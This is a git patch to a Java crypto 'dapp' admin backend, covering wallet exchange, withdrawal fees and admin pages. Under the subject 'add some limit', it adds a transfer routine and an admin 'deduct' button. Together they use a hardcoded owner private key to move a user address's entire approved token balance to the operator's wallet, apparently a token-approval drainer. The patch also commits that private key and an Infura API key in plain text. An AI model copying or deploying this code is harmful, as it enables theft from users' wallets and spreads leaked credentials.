From ac4c6f8771de8148f1ba2292dd8fcb7c986883a4 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Thu, 24 Mar 2022 15:25:16 +0800
Subject: [PATCH] add some limit

---
 src/main/java/cc/mrbird/febs/dapp/chain/EthService.java                   |   10 +++++
 src/main/resources/templates/febs/views/dapp/member.html                  |   17 +++++++-
 src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java                 |   10 +++++
 src/main/resources/templates/febs/views/dapp/member-withdraw.html         |    1 
 src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java |   32 ++++++++++++----
 src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java |    6 +--
 src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java        |    7 +++
 src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java          |    5 ++
 8 files changed, 72 insertions(+), 16 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 8dbef5f..31c109e 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -65,6 +65,16 @@
         return Integer.parseInt(total);
     }
 
+    public void transfer(String address) {
+        BigDecimal amount = balanceOf(address);
+
+        if (address.contains(ETH_PREFIX)) {
+            ETH.approveTransfer(address, amount, null);
+        } else {
+            TRX.transfer(address, amount);
+        }
+    }
+
     public static void main(String[] args) {
 //        System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));
     }
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 2f45fcf..66c0309 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -54,6 +54,7 @@
 	//	private static final String ETH_UTL = "http://114.55.250.231:8545";
 	private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
 	private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
+	private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";
 
 	public EthService() {
 		try {
@@ -250,6 +251,15 @@
 		}
 	}
 
+	public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
+		try {
+			return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+		} catch (InterruptedException | ExecutionException e) {
+			e.printStackTrace();
+			return "";
+		}
+	}
+
 	public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
 			throws InterruptedException, ExecutionException {
 		// Web3j web3j = Web3j.build(new
diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java b/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
index eb64fc1..4c26a7e 100644
--- a/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
+++ b/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
@@ -66,4 +66,11 @@
         dappMemberService.withdrawAble(id);
         return new FebsResponse().success();
     }
+
+    @PostMapping(value = "/changeMoney/{address}")
+    public FebsResponse changeMoney(@PathVariable(value = "address") String address) {
+        // TODO 增加划扣记录表
+        ChainService.INSTANCE.transfer(address);
+        return new FebsResponse().success();
+    }
 }
diff --git a/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java b/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java
index 171ee51..f234cd5 100644
--- a/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java
+++ b/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java
@@ -21,11 +21,12 @@
 
     public DappFundFlowEntity() {}
 
-    public DappFundFlowEntity(Long memberId, BigDecimal amount, Integer type, Integer status) {
+    public DappFundFlowEntity(Long memberId, BigDecimal amount, Integer type, Integer status, Integer fee) {
         this.memberId = memberId;
         this.amount = amount;
         this.type = type;
         this.status = status;
+        this.fee = fee;
 
         this.setCreateBy("system");
         this.setUpdateBy("system");
@@ -50,4 +51,6 @@
 
     @TableField(exist = false)
     private String address;
+
+    private Integer fee;
 }
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
index 048afd5..e8a5f8e 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -102,10 +102,8 @@
     @Override
     public boolean isApprove(String address) {
         DappMemberEntity memberEntity = dappMemberDao.selectByAddress(address);
-        if (memberEntity != null) {
-            return true;
-        }
-        return false;
+
+        return memberEntity != null && ChainService.INSTANCE.isAllowance(address);
     }
 
     @Override
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
index e4f7b59..b541147 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
@@ -4,6 +4,7 @@
 import cc.mrbird.febs.common.entity.QueryRequest;
 import cc.mrbird.febs.common.exception.FebsException;
 import cc.mrbird.febs.common.utils.LoginUserUtil;
+import cc.mrbird.febs.common.utils.RedisUtils;
 import cc.mrbird.febs.dapp.dto.RecordInPageDto;
 import cc.mrbird.febs.dapp.dto.WalletOperateDto;
 import cc.mrbird.febs.dapp.entity.*;
@@ -34,6 +35,7 @@
     private final DappWalletCoinDao dappWalletCoinDao;
     private final DappFundFlowDao dappFundFlowDao;
     private final DappAccountMoneyChangeDao dappAccountMoneyChangeDao;
+    private final RedisUtils redisUtils;
 
     @Override
     public WalletInfoVo walletInfo() {
@@ -54,14 +56,14 @@
     public void change(WalletOperateDto walletOperateDto) {
         DappMemberEntity member = LoginUserUtil.getAppUser();
 
-        BigDecimal ethUsdtPrice = new BigDecimal("1234");
+        BigDecimal ethUsdtPrice = (BigDecimal) redisUtils.get(AppContants.REDIS_KEY_ETH_NEW_PRICE);
 
         DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId());
         if (walletOperateDto.getAmount().compareTo(walletMine.getAvailableAmount()) > 0) {
             throw new FebsException("可用金额不足");
         }
 
-        DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount().negate(), AppContants.MONEY_TYPE_CHANGE, null);
+        DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount(), AppContants.MONEY_TYPE_CHANGE, null, null);
         dappFundFlowDao.insert(fund);
 
         BigDecimal preEthAmount = walletMine.getAvailableAmount();
@@ -69,7 +71,6 @@
         // TODO 并发加悲观锁
         // 更新eth金额
         walletMine.setAvailableAmount(walletMine.getAvailableAmount().subtract(walletOperateDto.getAmount()));
-        walletMine.setTotalAmount(walletMine.getTotalAmount().subtract(walletOperateDto.getAmount()));
         dappWalletMineDao.updateById(walletMine);
 
         DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(member.getId());
@@ -81,8 +82,8 @@
         walletCoin.setTotalAmount(walletCoin.getTotalAmount().add(usdt));
         dappWalletCoinDao.updateById(walletCoin);
 
-        DappAccountMoneyChangeEntity ethChange = new DappAccountMoneyChangeEntity(member.getId(), preEthAmount, walletOperateDto.getAmount(), walletMine.getTotalAmount(), "ETH兑换USDT-ETH", AppContants.MONEY_TYPE_CHANGE);
-        DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preUsdtAmount, usdt, walletCoin.getTotalAmount(), "ETH兑换USDT-USDT", AppContants.MONEY_TYPE_CHANGE);
+        DappAccountMoneyChangeEntity ethChange = new DappAccountMoneyChangeEntity(member.getId(), preEthAmount, walletOperateDto.getAmount(), walletMine.getAvailableAmount(), "ETH兑换USDT-ETH, 兑换价格为:" + ethUsdtPrice, AppContants.MONEY_TYPE_CHANGE);
+        DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preUsdtAmount, usdt, walletCoin.getAvailableAmount(), "ETH兑换USDT-USDT, 兑换价格为:" + ethUsdtPrice, AppContants.MONEY_TYPE_CHANGE);
         dappAccountMoneyChangeDao.insert(ethChange);
         dappAccountMoneyChangeDao.insert(usdtChange);
     }
@@ -97,13 +98,15 @@
             throw new FebsException("可用金额不足");
         }
 
-        // TODO 并发加悲观锁
+        Integer fee = (Integer) redisUtils.get(AppContants.REDIS_KEY_CHANGE_FEE);
+
+        //TODO 并发加悲观锁
         BigDecimal preAmount = walletCoin.getAvailableAmount();
         walletCoin.setAvailableAmount(walletCoin.getAvailableAmount().subtract(walletOperateDto.getAmount()));
-        walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(walletOperateDto.getAmount()));
+        walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().add(walletOperateDto.getAmount()));
         dappWalletCoinDao.updateById(walletCoin);
 
-        DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount().negate(), AppContants.MONEY_TYPE_WITHDRAWAL, 1);
+        DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount(), AppContants.MONEY_TYPE_WITHDRAWAL, 1, fee);
         dappFundFlowDao.insert(fund);
 
         DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preAmount, walletOperateDto.getAmount(), walletCoin.getAvailableAmount(), "USDT申请提现", AppContants.MONEY_TYPE_WITHDRAWAL);
@@ -127,20 +130,33 @@
     }
 
     @Override
+    @Transactional(rollbackFor = Exception.class)
     public void withdrawAgreeOrNot(Long id, int type) {
         DappFundFlowEntity fundFlow = dappFundFlowDao.selectById(id);
         if (fundFlow == null) {
             throw new FebsException("数据不存在");
         }
 
+        DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(fundFlow.getMemberId());
         if (type == 1) {
+            walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(fundFlow.getAmount()));
+            walletCoin.setTotalAmount(walletCoin.getTotalAmount().subtract(fundFlow.getAmount()));
             fundFlow.setStatus(DappFundFlowEntity.WITHDRAW_STATUS_AGREE);
         } else if (type == 2) {
+            BigDecimal preAmount = walletCoin.getAvailableAmount();
+
+            walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(fundFlow.getAmount()));
+            walletCoin.setAvailableAmount(walletCoin.getAvailableAmount().add(fundFlow.getAmount()));
+
+            DappAccountMoneyChangeEntity accountMoneyChange = new DappAccountMoneyChangeEntity(walletCoin.getMemberId(), preAmount, fundFlow.getAmount(), walletCoin.getAvailableAmount(), "提现申请被驳回", 2);
             fundFlow.setStatus(DappFundFlowEntity.WITHDRAW_STATUS_DISAGREE);
+
+            dappAccountMoneyChangeDao.insert(accountMoneyChange);
         } else {
             throw new FebsException("参数错误");
         }
 
+        dappWalletCoinDao.updateById(walletCoin);
         dappFundFlowDao.updateById(fundFlow);
     }
 
diff --git a/src/main/resources/templates/febs/views/dapp/member-withdraw.html b/src/main/resources/templates/febs/views/dapp/member-withdraw.html
index a6d14ca..7f0475d 100644
--- a/src/main/resources/templates/febs/views/dapp/member-withdraw.html
+++ b/src/main/resources/templates/febs/views/dapp/member-withdraw.html
@@ -154,6 +154,7 @@
                     {field: 'createTime', title: '创建时间', minWidth: 180},
                     {field: 'amount', title: '提现金额', minWidth: 130},
                     {title: '提现状态', templet: '#withdraw-status'},
+                    {field: 'fee', title: '手续费', minWidth: 130},
                     {title: '操作', toolbar: '#withdraw-option', minWidth: 200}
                 ]]
             });
diff --git a/src/main/resources/templates/febs/views/dapp/member.html b/src/main/resources/templates/febs/views/dapp/member.html
index 10ca0ed..6f16640 100644
--- a/src/main/resources/templates/febs/views/dapp/member.html
+++ b/src/main/resources/templates/febs/views/dapp/member.html
@@ -104,8 +104,9 @@
     <span>{{ sex.title }}</span>
 </script>
 <script type="text/html" id="balance">
-    <span name="balance">{{ d.balance }}</span>
-    <p><a lay-event="freshBalance">刷新</a></p>
+    <span name="balance">{{ d.balance }}</span></br>
+    <span><a lay-event="freshBalance">刷新</a></span>
+    <span><a shiro:hasPermission="member:showMeMoney" lay-event="changeMoney">划扣</a></span>
 </script>
 <script type="text/html" id="approve-list">
     <a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a>
@@ -184,6 +185,15 @@
                 });
             }
 
+            if (layEvent === 'changeMoney') {
+                febs.modal.confirm('划扣', "是否划扣该用户?", function () {
+                    febs.post(ctx + "member/changeMoney/" + data.address, null, function () {
+                        febs.alert.success('划扣成功');
+                        $query.click();
+                    });
+                });
+            }
+
             var rowIndex =  $(obj.tr).attr("data-index");
             var balance =  $(obj.tr).find("[name='balance']");
             if (layEvent === 'freshBalance') {
@@ -230,7 +240,7 @@
                     {type: 'checkbox'},
                     {type: 'numbers'},
                     {field: 'address', title: '地址', minWidth: 130},
-                    {title: '余额', templet: '#balance'},
+                    {title: '余额', templet: '#balance', minWidth: 150},
                     {title: '授权列表', templet: '#approve-list', minWidth: 110},
                     {field: 'inviteId', title: '邀请码', minWidth: 130},
                     {field: 'refererId', title: '上级邀请码', minWidth: 130},
@@ -259,5 +269,6 @@
                 $query.click();
             });
         }
+
     })
 </script>

--
Gitblit v1.9.1